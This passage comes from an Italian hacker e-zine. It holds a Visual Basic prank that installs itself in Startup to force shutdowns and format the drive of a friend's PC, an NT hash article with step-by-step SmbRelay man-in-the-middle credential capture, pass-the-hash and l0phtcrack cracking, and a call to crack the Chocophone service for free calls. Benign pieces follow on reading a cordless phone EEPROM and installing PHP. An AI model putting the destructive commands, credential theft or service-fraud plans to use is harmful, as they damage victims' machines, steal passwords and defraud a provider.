impostiamo il percorso di autopastaggio in EsecuzioneAutomatica... poi mettiamo che all'avvio del form il computer si spenga da solo ed il gioco è fatto... logicamente sempre nell'articolo tecniche fon... ci sono svariatissimi modi per far si che il nostro malefico lamsoft venga istallato in qualche stringa di startup... ma senza complicarci la vita, visto che in effetti non ci frega ke sia come 1 trojan, basta ke gli diciamo di autoistallarsi nella cartella di esecuzione automatica... io consiglierei di far eseguire affinche il cpu si spenga proprio di botto... questo Run Shell("RUNDLL32.EXE krnl386.exe,exitkernel", vbHide) ma se proprio vogliamo far male... però poi formattiamo e questo non va bene perchè il computer all'infinito deve accendersi e spegnersi di botto quindi... kmq ecco qui... usatelo solo se il vostro examico vi ha fottuto la ragazza e si fa bello con te... chiedendoti come si deve compotare con la tua ex... Lo vuoi pastare quest'altro Run si o no? okok... ... dopo 2 ore di altra discussione... Shell("RUNDLL32.EXE Shell32,SHFormatDrive", vbHide) see ya... buona lamerata a tutti e ricordate che questo non significa essere Hacker ma forse oltre a Lamer anche Akari... ---------------------------------------- _______________________________________________ / Hash, Password e Autenticazione con server NT\ ================================================= Sommario: -Cosa è un hash; -Password; -Autenticazione con server WinNT; -SmbRelay; -Riutilizzo degli hash delle password; -Hash e l0phtcrack; -Credits. ------------------------------------------------------------------ Cosa è un hash ------------------------------------------------------------------ Un hash è un'impronta digitale di una password; hash, fingerprint, digest sono tutti sinonimi. La lunghezza di un hash è costante. L'hash viene calcolato con una funzione appunto hash, una molto usata è l'MD4 e viene usata per calcolare l'impronta delle password dei sistemi NT. *-----------------------------#######----------------------------* Password ================================================================== In windows NT/2000 i records degli utenti sono memorizzati nel Security Accounts Manager (SAM). Ogni utente ha due password: la Lan Manager e la NT password. Ogni password è doppiamente criptata. La prima cifratura è a senso-unico, definita non decriptabile. La seconda, è la cifratura del RID (Relative ID). La seconda cifratura è decriptabile da chiunque abbia accesso alla password criptata, al RID dell'utente e all'algoritmo. La password LAN Manager è lunga più di 14 caratteri e non è case-sensitive. L'hash della password è calcolato criptando una costante con la password in chiaro. L'hash della password LANMan è lungo 16bytes. I primi 7 bytes della password in chiaro sono usati per calcolare i primi 8 caratteri dell'hash. Gli altri 7 bytes della password in chiaro sono usati per calcolare gli altri 8 bytes dell'hash. L'hash quindi risulta "spezzato" in due parti. La Password NT è case-sensitive ed è basata sul set di caratteri Unicode. Può essere lunga più di 128 caratteri. L'hash è calcolato usando l'algoritmo MD4. L'hash è lungo 16byte. L'interfacce utente limitano la lunghezza della password NT a 14 caratteri, altrimenti non potrebbero essere rappresentati con il set di caratteri OEM. *-----------------------------#######----------------------------* Autenticazione con server WinNT ================================================================== il client per autenticarsi ad un server WinNT non spedisce la password in chiaro al server ma usa il metodo challange/response. Per iniziare il processo di autenticazione, il Server spedisce al client un challange (sfida) grande 16bit, quando questa arriva al client, viene cifrata utilizzando la password dell'autenticazione. Il challange cifrato viene spedito al server. Quest'ultimo per verificare l'esattezza della password, cifra anch'esso il challange in chiaro, spedito precedentemente, con una copia della password presa dal SAM (Security Accounts Manager),e confronta i due challange cifrati, quello del client e quello che si è crato da sè; se i due challange sono uguali,il client è autenticato. Vediamo in dettaglio questo processo; Se il client è di tipo LAN Manager, questo calcola una risposta al challange di 26byte, quindi crea la risposta criptando il challange di 16byte con l'hash LAN Manager della password, anch'esso di 16byte. Se il client, invece, è un NTclient, riponde criptando il challange con l'hash della password LanMan come descritto prima e, inoltre, cripta il challange usando l'hash della password NT. Quindi restituisce i due challange criptati al server NT. *-----------------------------#######----------------------------* SmbRelay ================================================================== SmbRelay è stato creato nel 2001 da Sir Dystic del gruppo Cult of Dead Cow. SmbRelay è un server SMB che registra tutti i nomi utente e gli hash delle password in entrata. Può anche sferrare attacchi di tipo MITM(Man-In-The--Middle). Per prima cosa dovete impostare l'interfaccia su cui SmbRelay fungerà da server. Impostiamo il parametro /E. C:\>smbrelay /E SMBRelay v0.981 - TCP (NetBT) level SMB man-in-the-middle relay attack Copyright 2001: Sir Dystic, Cult of the Dead Cow Send complaints, ideas and donations to sirdystic@cultdeadcow.com [1000003] ETHERNET CSMACD - Realtek 8139-series PCI NIC [1] SOFTWARE LOOPBACK - MS TCP Loopback interface Le opzioni disponibili sono due: una è il loopback, accessibile solo da localhost. L'altra interfaccia è la scheda di rete, useremo questa per SmbRelay. Per far partire il server dovrete prima disabilitare il NetBIOS altrimenti il sistema impedirà il funzionamento di SmbRelay. Per disabilitare NetBIOS andate su: Rete e connessioni remote - #NomeConnessione - proprietà di Protocolli Internet(TCP/IP) - Avanzate - WINS - Disabilita NetBIOS su TCP/IP. Se volete che SmbRelay funzioni correttamente dovete bloccare anche la porta 445, andate su Rete e Connessioni Remote, nella barra dei Menù selezionate Avanzate - Impostazioni Avanzate e togliete il segno di spunta su Protocollo Internet (TCP/IP). Per attivare il server SmbRelay impostate i parametri /IL e /IR con il numero dell'interfaccia (ricavato precedentemente) su cui volete che il server sia in ascolto. C:\>smbrelay /IL 1000003 /IR 1000003 SMBRelay v0.981 - TCP (NetBT) level SMB man-in-the-middle relay attack Copyright 2001: Sir Dystic, Cult of the Dead Cow Send complaints, ideas and donations to sirdystic@cultdeadcow.com Using relay adapter index 1000003: Realtek 8139-series PCI NIC Bound to port 139 on address 192.168.0.1 SmbRelay comincerà il suo lavoro, se viene catturata una sessione comparirà una schermata in cui si mostrerà l'hash della password ed altre informazioni, inoltre, gli hash verranno scritti nel file hashes.txt Quando il client cercherà di connettersi al falso server SMB, avrà l'errore di sistema 64: C:\>net use \\192.168.0.1\C$ /u:Administrator Errore di sistema 64. Il nome di rete specificato non è più disponibile. L'uso di net session rivelerà che è stata stabilità una sessione con il server SmbRelay. *-----------------------------#######----------------------------* Riutilizzo degli hash delle password ================================================================== Grazie al debole sistema di criptaggio delle passowrd, e con l'hash possiamo risalire alla password. Ma se potessimo invece di perdere tempo nel cracking della password, riutilizzare l'hash per criptare il challange ed effetture l'autenticazione? Si pensò di modificare SAMBA in modo da rendere possibile questo attacco. C'é uno strumento compreso in SAMBA che grazie all'hash della password permette di collegarsi a client NT. *-----------------------------#######----------------------------* Hash e l0phtcrack ================================================================== Una volta catturato l'hash di una password, cosa fare? C'é uno strumento distribuito da @stake: l0phtcrack, siamo arrivati alla versione quattro(aprile 2003). Questo strumento esegue il cracking degli hash, ricavando le password. Si possono usare metodi di attacco come Brute Force, Dictionary e Dictionary/Brute Hybrid Crack. In questo strumento è compreso uno sniffer di hash, quando questo tool ha trovato qualcosa, passa l'hash a L0phtcrack. Possiamo importare gli hashes da un file oppure direttaente dal SAM. La versione quattro è simile alla terza. In queste due non è possibile importare gli hash da un file, per esempio un file di testo, al contrario nella versione 2.x e possibile farlo. Vi consiglio di installare sia la versione 4 che la versione 2.x, sono adatte ad esigenze diverse. *-----------------------------#######----------------------------* Recupero della password ================================================================== Cosa fate se avete dimenticato la password dell'utente Administrator e non ci sono altri utenti nel sistema? (Non disperate) Una prima soluzione è installare un altro sistema operativo, per esempio Windows 2000 e poi recuperare il file SAM dal primo. Se avete tempo questa, è una ottima scelta, perché vi permette anche di eseguire un backup dei dati, se decideste di formattare tutto perché non avete tempo di crackare con l0phtcrack l'hash della password. C'é un altro strumento: chntpw Questo strumento è compatibile con windowsNT non con windows 2000 vi permette di cambiare password ed editare il Registro di sistema. Qusto strumento deve essere installato su floppy o CD, poi essere "boottato". Written by LuKe_SkyWalKeR Ringrazio tutti gli autori da cui ho preso spunto. ---------------------< Chocophone >------------------------------- Questo articolo è una esortazione a collaborare nella ricerca e nella composizione di un crack in grado di abbassare le difese ed i limiti di Chocophone... ma forse sto correndo troppo... allora per ki non lo sapesse esiste una azienda chiamata Chocophone la quale mette a disposizione cinque minuti di telefonate gratis a qualsiesi telefono mobile e fisso... il problema è quello di fare una patch in modo che possiamo telefonare gratis per tutto il tempo ke vogliamo, immaginate quante bip di telefonate potremmo fare! Io già mi sono cimentato in questa impresa ed per adesso sono riuscito dando in pasto ad HackMan (un editor esadecimale molto avanzato) il file che si crea chocophone quando date la prima volta la user e la pass, questo file permette di dare una sola volta la user e la pass così rompedo i coglioni a ki vole fare il furbo creandosi più abbonamenti e quindi telefonare di + , quindi come dicevo dalle stringhe decifrate sono riuscito a scovare il modo di scrasciare la user e la pass per mettene altre... il file da modificare dovrebbe quasi sicuramente .log ma dipende dalle versioni di chocophone... Ma questo metodo è spartano è poi cosa che non vi ho detto è vero che così avremmo molte kiamate a disposizione ma le kiamate durano 1 minuto... quindi se con due iscrizioni abbiamo 10 minuti di kiamate comunque faremo 10 kiamate da un minuto a testa , questo non va bene... e poi senza contare che sarebbe una noia bestiale cambiare nome e pass ogni 5 minuti dal log di chocophone... Quindi ho elaborato altre 2 ipotesi una un poco difficile l'altra ancora di più... la prima ipotesi è quella che ho notato nell'analizzare un'altra azione ke fa il soft chocophone, cioè quella di xmettere di fare una kiamata lunga quanto bip vogliamo ad 1 numero pubblicitario... e questa kiamata è sia ripetibile un sacco di volte sia infinita quindi se la kiamata non fosse destinata ad un numero pubblicitario ma al numero ke vogliamo staremo apposto ma lavorando su questa pista purtroppo ho visto ke il server indirizza le chiamate (almeno da quello ke ipotizzo non trovando il numero nel software) quindi purtroppo se quello ke ipotizzo è vero non si possono deviare le kiamate se non entrando nel server... ma a questo punto consigliandomi con sismic sono arrivato ad un'altra soluzione infatti si è giunti alla ipotesi che sia sufficente nn tanto bucare il server per deviare il numero perchè è molto probabile, partendo dal presupposto di aver bucato il server, che la sua user e la sua passw abbiano potere di telefonare quanto vogliamo... hihihi ma x ora sono l'unica soluzione fattibile è quella che ho citato all'inizio le ultime due sono ipotesi che comunque abbastanza buone come punto di partenza... io continuo a sperimentare... forse sono a buon punto ma ci vuole ancora tempo per me + siamo è megliori sono le possibilità di riuscita di questo... di questo... credo che lo possiamo kiamare phonehacking... fatevi voi una idea il sito è www.chocophone.com l'ho messo alla fine così vi leggevate prima tutto l'articolo! hihihi -------------------------< End >------------------------------- Lord Unrelated Lodeguns ----==[ Leggere l'eeprom dei cordless Philips! ]==---- Sono molti quelli che mi hanno detto 'bravo, ma dopo che hai letto cosa c'è nell'eeprom del cordless cosa ci fai?' La prima risposta a questa domanda sarebbe 'cazzo ne so, x ora voglio leggerla, poi si vede...!' :) Ma dato che sono un vero uomo vi dico semplicemente che leggendo l'eeprom dei cordless philips (e penso anche non philips, ma sinceramente non vi assicuro nulla perchè io l'ho fatto sul mio che è philips e non so gli altri come sono! :) possiamo clonare (heheh) il cordless. Particolarmente simpatica è infatti l'idea di clonarne uno (a fin di bene intendo, cioè per copiare l'intero contenu- to di un cordless su di un altro: se se ne posseggono due, bisognerebbe modificare le impostazioni ecc ecc ed è ab- bastanza noioso, quindi sarebbe una bella comodità poterlo fare senza troppe storie!) ed averlo bello e funzionante in poco più di 5 secondi (il tempo di riprogrammare l' eeprom). Iniziamo col dire che il modello sul quale ho operato è il Kala 6120 (lo stesso di quello dato con i punti coca-cola) Questo simpatico cordless costa poco, è molto affidabile (è digitale ed è impossibile clonarlo ihihhi diciamo pure era...) e costa poco. La Philips ha fatto proprio un bel cordless. Se non fosse per un piccolo dettaglio... Se mi seguite sulle foto forse è meglio, così avrete più chiaro il quadro della situazione. Aprite la foto telefono.jpg e vedrete l'intero telefono. Potete vedere un chip piccoletto vicino a quella che io chiamerei CPU (sarà di sicuro un microprocessore), che ha 8 pin. Bene, questa è l'eeprom interessata. Leggiamo sul- la parte superiore del chip 24C04W6. Il nome così com'è potrebbe non richiamare nulla alla nostra memoria...ma to- gliendo W6 ci viene in mente che si tratta di quelle fan- tomatiche eeprom usate nell'hacksat per fare le schede pi- rata. Bene, vedete che non servono solo per quello? Molto bene, il suo verso ci è indicato dal piccolo pallino in basso a sinistra che ha lo stesso ruolo della 'mezzaluna' presente sui normali chip PCB. Questi infatti non hanno la stessa dimensione dei PCB ma sono più piccoli (non ho la + vaga idea di come si chiamino ma non è che per leggerli devo per forza chiamarli per nome, quindi sorvoliamo :) e potremmo avere problemi a collegare i pin del chip di- rettamente al nostro programmatore ludipipo (è questo il programmatore usato per riprogrammare queste eeprom). Cer- chiamo quindi un altro modo per accedere ai contatti. Come potete vedere dal file Pin.jpg, i piedini dell'eeprom sono tutti collegati a dei 'bollini' dorati situati poco più in giù al telefono. I piedini dell'eeprom che ci interessano sono infatti solo i primi 4 e non tutti e 8 (gli altri so- no per altre funzioni che ora non ci riguardano). Abbiamo che tutti i pin sono collegati ai 'bollini'. Tut- tavia io per comodità ho usato solo i primi 3 bollini: il quarto no perchè usando l'adattatore che ho fatto, il cord less non si sarebbe più richiuso. Ho quindi usato i primi 3 ed un coccodrillo, che collego al pin positivo delle pi- le. Il quarto bollino è infatti quello del polo positivo. Nell'immagine pin.jpg il primo pin non l'ho collegato al 4 pin perchè usiamo appunto quello che tocca il polo positi- vo della batteria. I 'bollini' vanno usati nel seguente ordine: polo positivo 1,2,3. Con polo positivo intendo quello che tocca il polo positivo della batteria. Per realizzare l'adattatore vi consiglio (poi fate voi :) di prendere la basetta di un PCB e di tagliarla con un se- ghetto con una lama sottile attenzione... io mi stavo to- gliendo un dito... :) Fatto questo simpatico collegamento, possiamo finalmente collegare il nostro adattatore al ludipipo (sulla basetta dell'eeprom, quella da 8 pin!). Fatto questo, apriamo IcProg, selezioniamo il chip 24c04 e leggiamo dall'eeprom. Per interpretare il contenuto, pos- siamo usare la gif che ho fatto (dump.gif) e capire come sono memorizzati i dati. Abbiamo 32 righe da 16 bytes ciascuna. Ho ordinato per co- lore le diverse zone. La zona rossa credo sia d'inizializzazione e probabilmente c'è l'ID del telefono (devo verificare con un altro tele- fono). La zona rosa è quella relativa alla prima base: ci sono i dati per il collegamento alla prima base (il telefono ne supporta 2!). La zona viola è quella relativa alla seconda base. La zona grigia contiene diverse informazioni e non è stata ancora completamente compresa. La zona blu è la rubrica nella quale ci sono tutti i nume- ri salvati in memoria. La zona verde è una zona della quale non ho ben capito l' utilità. Le prime 3 zone hanno un identificativo di 5 bytes. Nella seconda/terza zona, dopo l'identificativo vi sono 8 bytes 0xFF e dopo questi il codice della base. Con questo codice il cordless identifica la base e può comunicare con essa. Il codice della base è di 8 bytes. Seguono 9 bytes 0xFF e dopo questi 16 bytes che suppongo siano il codice che la base affida al telefono e le consente di identificarlo (al momento della registrazione con la base). Segue un byte boolean (unici valori 0x00 e 0x01) che indica se la base è attiva. Impostandolo a 00 è possibile ri-registrarsi con la base (utile per alcuni test). Seguono 11 bytes di uti- lità sconosciuta. La zona rosa e viola sono praticamente uguali. Della zona grigia ho capito solo pochi bytes: il 40/41 che cambia col cambiare delle basi inserite (una base, valori 0x40 0x41, due basi, valori 0x41 0x03), il 43 che indica lo stile della suoneria (valori 0x00, 0x01 o 0x02), il 45 che indica il volume della suoneria (valori 0x00, 0x01 o 0x02) ed il 47 che indica il volume del ricevitore (valori 0x00, 0x01 o 0x02). La zona blu, la rubrica, è estremamente semplice: è possi- bile memorizzare fino a 11 numeri (1 per ogni numero più 1 di emergenza). La zona è divisa in 11 sezioni da 13 bytes ciascuna. I numeri sono memorizzati direttamente in hex. Esempio: 0815151122 è memorizzato come 0x08 0x15 0x15 0x11 0x22. Al termine di ogni numero segue un byte 0xF0 che in- dica la terminazione del numero. Ogni numero può avere fi- no a 24 cifre (12 bytes più uno per il byte 0xF0). L'ulti- mo 0xF0 della rubrica (quello del numero di emergenza che è l'ultimo numero memorizzato) diventa 0xFE per indicare la fine della zona rubrica. L'ultima zona è di contenuto sconosciuto. Se eventualmente avete un cordless Philips (anche non kala 6120) e volete aiutarmi a completare la comprensione di questi dati, potete come prima cosa vedere se sotto al va- no batterie ci sono i 'bollini'. Se ci sono, potete aprire il cordless e vedere se c'è un'eeprom del tipo 24cXX. Se ne vedete una, controllate col tester se i punti di con- tatto (i bollini) corrispondono ai piedini dell'eeprom. Nel caso in cui corrispondano, beh avete trovato un altro modello che è possibile leggere con il ludipipo. Se trova- te qualche informazioni interessante, contattatemi e cer- cherò di aiutarvi. Se avete il mio stesso modello, mi po- treste contattare e potremmo vedere di capire il ruolo di ogni singolo byte! Ad ogni modo, fatemi sapere se scoprite qualcosa! :) Un grosso saluto a tutti. -- BiGAlex E-Mail: totalmeltdown@libero.it / b1galez@hotmail.com SiTE: bigalex.cjb.net @################################################################@ º/\/\/\/\/\/\/\/\/\/ \/\/\/\/\/\/\/\/\/\º º\/\/\/\/\/\/\/\/\/ \/\/\/\/\/\/\/\/\/º º/\/\/\/\/\/\/\/\/ GUIDA PHP \/\/\/\/\/\/\/\/\º º\/\/\/\/\/\/\/\/ Guida a puntate sul PHP \/\/\/\/\/\/\/\/º º/\/\/\/\/\/\/\/\ a cura di }gu|do[z]{®© /\/\/\/\/\/\/\/\º º\/\/\/\/\/\/\/\/\ www.guidoz.it /\/\/\/\/\/\/\/\/º º/\/\/\/\/\/\/\/\/\ /\/\/\/\/\/\/\/\/\º º\/\/\/\/\/\/\/\/\/\ /\/\/\/\/\/\/\/\/\/º @################################################################@ *----------------------------------------------------------------* | X approfondimenti dubbi, chiarimenti: http://forum.guidoz.it | *----------------------------------------------------------------* ################################################################## ######## ######## ###### INTRODUZIONE ###### ######## ######## ################################################################## Questa guida è la prima parte della mia rubrica su PHP in questa e-zine... la parte dedicata ai newbie che magari non sanno neanche cosa sia il PHP.. o cmq a chiunque voglia prenderla larga.. per così dire :) Ovviamente il PHP è un argomento vastissimo, troppo vasto per essere trattato esaurientemente in questa rubrica... perciò per cause di forza maggiore dovremo suddividere le lezioni in varie parti logicamente correlate. In questa prima puntata vedremo un po' di basi e di concetti introduttivi del linguaggio... l'argomento più importante sarà l'installazione in locale di un webserver configurato per funzionare con php e mysql. ################################################################## ######## ######## ###### PARTE I - CAPITOLO 1 ###### ###### Introduzione alla programmazione lato server ###### ######## ######## ################################################################## Benvenuti nella guida al PHP, molti di voi certamente, se si sono interessati a questa guida, avranno almeno una vaga idea di cosa sia questo meraviglioso linguaggio. Comunque, a scanso di equivoci, penso che un'introduzione possa servire a tutti per chiarire meglio di cosa si occupa il PHP, e quali sono le sue potenzialità. Innanzitutto cominciamo con il dire che il PHP è un linguaggio per il web, ed è un linguaggio server-side. Ovvero viene interpretato ed eseguito dalserver, e solo il risultato della esecuzione viene inviato all'utente. Volendo esprimerci in termini di programmazione più classica, le nostre pagine in PHP saranno l'input, e l'output sarà del normale codice HTML inviato al browser che provvederà ad interpretarlo normalmente. Già da questo possiamo capire alcuni dei vantaggi del PHP: il fatto di essere interpretato dal server, e non dal browser, è un grosso vantaggio perchè, a differenza del JavaScript ad esempio, siamo sicuri che l'ambiente in cui sarà interpretato sarà sempre uno e uno solo, e di conseguenza non avremo mai quei problemi di incompatibilità che abbiamo con sistemi client-side che dipendono appunto dalla configurazione del client, ovvero dell'utente che naviga nel nostro sito. Ma il PHP non si limita certo a questo. Il PHP è probabilmente il linguaggio server-side più evoluto ed è ormai in grado di surclassare in termini di velocità flessibilità e facilità d'uso il suo "antenato" CGI/perl e anche i suoi "cugini" JSP e ASP. Inoltre PHP, così come i "cugini" citati poc'anzi, è un linguaggio HTML-embedded, questo vuol dire che il codice PHP va scritto assieme al codice HTML, in un unico file, e non richiamato dalle pagine stesse. Conseguenza di ciò è che non esistono limitazioni di directory (come accadeva per i GCI) in cui sistemare i propri script. Con PHP oggi non è solo possibile avere delle pagine dinamiche che sfruttino le strutture classiche della programmazione (cicli, condizionali, array, etc etc), ma anche un'interfaccia semplice e veloce verso praticamente ogni tipo di DataBase (ma vedremo a tempo debito che PHP/MySQL è un binomio quasi indissolubile) nonchè un linguaggio di programmazione in grado di interfacciarsi a qualsiasi cosa: dagli oggetti COM a JAVA, FLASH e molti altri linguaggi e tecnologie. Tutto questo senza contare che PHP è in grado di svolgere compiti più disparati e inimmaginabili, come creare immagini "al volo" o zippare files e chi più ne ha più ne metta. Le ragioni di tanta flessibilità ed efficenza sono da ricercarsi nella natura stessa del linguaggio, il PHP ha infatti un asso nella manica: è Open Source! Migliaia di programmatori in tutto il mondo contribuiscono quotidianamente alla sua evoluzione e al suo perfezionamento. In breve, PHP4 è un linguaggio maturo che ha superato i limiti della precedente versione diventando molto più veloce e molto più versatile, grazie al lavoro di equipe e alla collaborazione di un numero virtualmente illimitato di programmatori. ################################################################## ######## ######## ###### PARTE I - CAPITOLO 1 ###### ###### La storia in breve ###### ######## ######## ################################################################## PHP nasce nel 1997 con l'originaria intenzione di rispondere ad una esigenza personale di Rasmus Lerdof. Insomma come tutte le grandi scoperte e invenzioni della storia, il PHP nacque quasi per caso. Lerdof aveva bisogno di fornire al proprio sito un form per la registrazione degli utenti, a quei tempi un'iterazione del genre tra visitatori e server, era possibile solo usando gli scomodi CGI programmati in Perl o C, e in effetti fu questa la via che imboccò inizialmente il nostro Lerdof. Quando però il Perl cominciò a creargli non pochi problemi per i suoi limiti, da buon programmatore, Lerdof decise di costruirsi una piccola applicazione in C che mise sul server e utilizzò con profitto. Altri utenti dello stesso server a breve vennero a conoscenza della cosa, e chiesero di poter utilizzare quello che era a tutti gli effetti il primo rudimentale motore PHP. Fu proprio allora che Lerdof chiamò così la sua creatura, quando decise di sviluppare i suoi "Personal Home Page Tools".. "tools" con il tempo si perse, e nacque il PHP. La seconda versione di questo ancora rudimentale strumento riscosse un certo successo nel settore e saltò agli occhi di due abili programmatori: Andi Gutmans e Zeev Suraski. I due presero il grezzo prototipo di Lerdorf e lo traformarono nel potente PHP3. PHP a questo punto divenne l'acronimo ricorsivo di "PHP Hypertext Preprocessor", con il simpatico paradosso di contenere il proprio stesso acronimo nella sigla, proprio coeme accade per le funzioni ricorsive che richiamano se stesse. PHP3 fu un vero successo, sempre più programmatori lo usarono e sempre più proggettisti concorsero al suo perfezionamento. PHP3 si affermava come antagonista di ASP, sebbene fosse ancora poco maturo per combattere efficaciemente il linguaggio di casa microsoft. Entusiasmati per il successo riscosso, ma consci dei limiti del motore PHP3, Zeev e Andi si gettarono a capofitto nel codice e riscrissero completamente il motore facendo nascere così il motore del PHP4 che, in oro onore si chiama ZEND (dai loro nomi: ZEev e aNDi). Il nuovo motore si è da subito dimostrato molto prestante e alcuni piccoli bug sono stati brillantemente risolti. Ad oggi siamo alla versione 4.3.1 del modulo PHP, che viene migliorato continuamente e arricchito dui funzionalità grazie al lavoro di equipe di un vasto gruppo di programmatori Open Source. ################################################################## ######## ######## ###### PARTE I - CAPITOLO 3 ###### ###### PHP in locale ###### ######## ######## ################################################################## Prima di passare ad esaminare il codice è opportuno spiegare come testare in locale i propri script... sarebbe infatti stupido fornirvi dei primi esempi senza che abbiate la possibilità di metterli in pratica o costringendovi a uploadare continuamente files su un server remoto per farlo. Detto questo vediamo gli strumenti di cui abbiamo bisogno: 1) webserver che gestisca le richieste del visitatore. 2) il modulo PHP da "somministrare" al web server. 3) Un server di database per gestire appunto i database. La configurazione tipica del 99% dei webserver pensati per PHP è apache come webserver, una versione recente di PHP4 (consigliamo la 4.3.1), MySQL come server di database. Questa è, come detto, la configurazione più diffusa per molteplici motivi: * Prestazioni: i componenti citati sono al top nelle proprie categorie in termini di efficenza e velocità. * Costo: assolutamente nullo, è tutto Open Sopurce e quindi liberamente utilizzabile ed eventualmente modificabile a proprio piacimento. * Affidabilità: questa è la configurazione base su cui gli stessi sviluppatori di PHP testano la propria creatura, quindi è sicuramente l'ambiente migliore per testare i propri script. Detto questo cominciamo a procurarci, installarci e configurarci tutto quello che ci serve. Personalmente ritengo utuile imparare ad installare e configurare separatamente in 3 componendi. Il processo di configurazione è molto importante per capire come modificare le proprie configurazioni, per comprendere quali siano le configurazioni base e quali quelle tipiche (cosa che vi tornerà molto utile nella scelta di un host che faccia al caso vostro), e utile in generale a capire come funziona tutto questo popò di robba che serve a far vedere le vostre pagine :) Detto questo siete comunque liberi di installarvi uno di quei pacchetti preconfezionati che provvedono all'installazione e configurazione automatica di tutto il necessario. ------ Apache: --------- Procuriamoci l'ultima versione di apache dal sito www.apache.org Al momento in cui scriviamo l'ultima versione stabile è la 1.3.26 (gli utenti win95/98 e win NT4 scarichino la versione con installer) Nel mentre installiamo e configuriamo apache possiamo scaricare anche il modulo PHP da l sito www.php.net (come detto poc'anzi l'ultima relese stabile è la 4.3.1) e mysql (versione consigliata: 3.23.56) Una volta scaricato l'eseguibile (versione con installer) o il file msi (per gli utenti win ME/2000/XP), basta lanciarlo, accettare la licenza riempire a piacimento i campi necessari (tanto siamo in locale, non dobbiamo mica creare un vero server) e concludere l'installazone Al termine dell'installazione avviamo apache (se non lo si è installato come servizio di win NT) e che ci crediate o no, il webserver già funziona. provate infatti ad aprire il vostro browser preferito e scriverci dentro "http://localhost" e come per magia vi apparirà una pagina di apache che vi comunicherà che tutto funziona. Nella directory di apache trovate la cartella "htdocs", vi basterà copiare lì i vostri files html per poterli richiamaredal browser con un indirizzo iniziante con http://localhost che come avrete capito funziona come un dominio associato al vostro computer locale. Un altro modo di indirizzarvi al vostro webserver locale è quello di utilizzare un IP associato sempre alla macchina locale, questo IP è: 127.0.0.1... quindi potrete richiamare un file chiamato ad esempio "esempio.html" in due modi: http://localhost/esempio.html e http://127.0.0.1/esempio.html Questo però è solo l'inizio.. adesso dobbiamo installare il modulo PHP e configurare apache perchè funzioni con PHP (potrete anche cambiare la directory per i documenti web), in seguito faremo la stessa cosa con MySQL --------- PHP: --------- Dando per scontato che abbiate già scaricato il file compresso dal sito www.php.net, estraete il file dove vi pare e vi troverete una directory tipo "php-4.3.1-Win32". Rinominate la directory in "php" e copiatela ad esempio in "C:" (nel resto della guida ci riferiremo a questa situazione ideale). Nella cartella appena creata trovate il file "php.ini-dist", rinominatelo in "php.ini", e copiatelo nella cartella C:\Windows (c:\winnt40 o c:\winnt per i possessori di Windows NT/2000). Adesso torniamo alla cartella "php" creata prima e cerchiamo un file chiamato "php4ts.dll" (se non lo vedete vuol dire che dovete selezionare, nel menù Visualizza>Opzioni Cartella>Visualizza, il ceckbox relativo a Mostra tutti i file). Una volta trovato questo file, che costituisce il cuore del motore php, lo copiamo nella directory C:\Windows\System (C:\Winnt\System32 per i possessori di Windows NT/2000). A questo punto dobbiamo solo modificare opportunamente il file di configurazione di apache che troviamo della directory di apache sotto il nome di httpd.conf. Abbiamo 4 modifiche da fare: 1) Con la funzione apposita del vostro editor di testi preferito cerchiamo la riga "#LoadModule unique_id_module modules/mod_unique_id.so" e, subito sotto, aggiungiamo: LoadModule php4_module c:/php/sapi/php4apache.dll (se necessario modificare il percorso che porta al file php4apache.dll ) 2) Cerchiamo la riga "AddModule mod_setenvif.c" e sotto aggiungiamo: AddModule mod_php4.c 3) Poi cerchiamo "AddType application/x-tar .tgz" e aggiungiamo: AddType application/x-httpd-php .php AddType application/x-httpd-php .php3 4) In ultimo cerchiamo "" e trasformiamo DirectoryIndex index.html in DirectoryIndex index.php index.html Con uesto abbiamo aggiunto il modulo PHP ad apache, a questo punto possiamo cambiare la directory per i ostri documenti web, cerchiamo sempre con l'apposita funzione la riga DocumentRoot (di default dovrebbe essere "C:/Programmi/Apache Group/Apache/htdocs") e cambiamo il path con quello chepreferiamo . Cerchiamo anche e anche in questo caso dovremo sostituire il path. Fatto ciò è necessario riavviare il server perchè le modifiche abbiano effetto. A questo punto abbiamo tutto il necessario per eseguire PHP. Creiamo un file con un editor di testo e chiamiamolo "prova.php", scriviamoci dentro "", copiamolo nella nostra direcotory web e richiamiamolo dal browser con l'indirizzo: http://localhost/prova.php. Se tutto va bene dovremmo vedere una pagina del php che riporta vari dati di sistema la cui spiegazione esula dagli scopi di questa guida. --------- MySQL: -------- A questo punto abbiamo un webserver perfettamente funzionante con il supporto PHP. per quanto per le vostre prime prove non sia necessario, passiamo ad installare il supporto a mysql. Dando per scontato che abbiate scaricato il file d'installazione. Occupiamoci di modificare il php.ini (l'avevamo messo in C:\windows se ricordate bene.. altrimenti.. una bella cura di fosforo :D) cerchiamo la riga di inizio della parte di configurazione di MySQL: "[MySQL] ; Allow or prevent persistent links" e modifichiamo le righe successive in modo da avere questa situazione: mysql.allow_persistent = On mysql.max_persistent = -1 mysql.max_links = -1 mysql.default_port = 3306 mysql.default_host = localhost mysql.default_user = (potete lasciarlo vuoto) mysql.default_password = (potete lasciarlo vuoto) Fatto questo possiamo installare il database. Una volta terminata l'installazione possiamo avviare mysql. MySQL non si installa nel menu' programmi, per avviarlo dobbiamo entrare nella directory del programma poi nella cartella "bin" e andremo a cercare il file winmysqladmin.exe. Innanzitutto vi consiglio di creare un collegamento sul Desktop per averlo sempre a portata di mano. Fatto ciò clicchiamoci sopra e avviamolo: la prima volta che lo lanciate vi verrà chiesto di immettere Username e Password... fatelo e cliccate su ok... ma mi raccomando di non scpordare questi due dati! Se tutto è andato per il verso giusto dovrebbe comparire un piccolo semaforo nella System Tray (in basso a destra, vicino l'orologio), se la luce è verde, tutto è ok....in caso contrario il rosso indica che c'è stato qualche intoppo.. in tal caso sarebbe conveniente rimnuovere mysql e reinstallarlo. ################################################################## ######## ######## ###### PARTE I - CAPITOLO 4 ###### ###### Hello world ###### ######## ######## ################################################################## A questo punto, se tutto è andato bene, abbiamo un bel webserver funzionante in locale con supporto PHP e MySQL. Non male vero? :) Possiamo toglierci lo sfizio di scrivere il primo programma, che, coe in ogni guida che si rispetti, è il classico "hello world". Apriamo quindi il nostro editor preferito e scriviamoci: Lo so, è poco.. ma per adesso dobbiamo accontentarci di questo. Aver installato e configurato tutto l'occorrente non è poco!!! Nelle prossime puntate ci addendreremo maggiormente nel linguaggio :) per ora vi saluto e vi auguro un in bocca al lupo per i vostri studi di PHP ;) Per qualsiasi dubbio, o per la segnalazione di errori, vi ricordo che è disponibile il mio forum all'indirizzo: http://forumn.guidoz.it -------------< Project: Time Music>------------------------------- -------------< Visual Basic 6 >------------------------------- -------------< Difficoltà -19 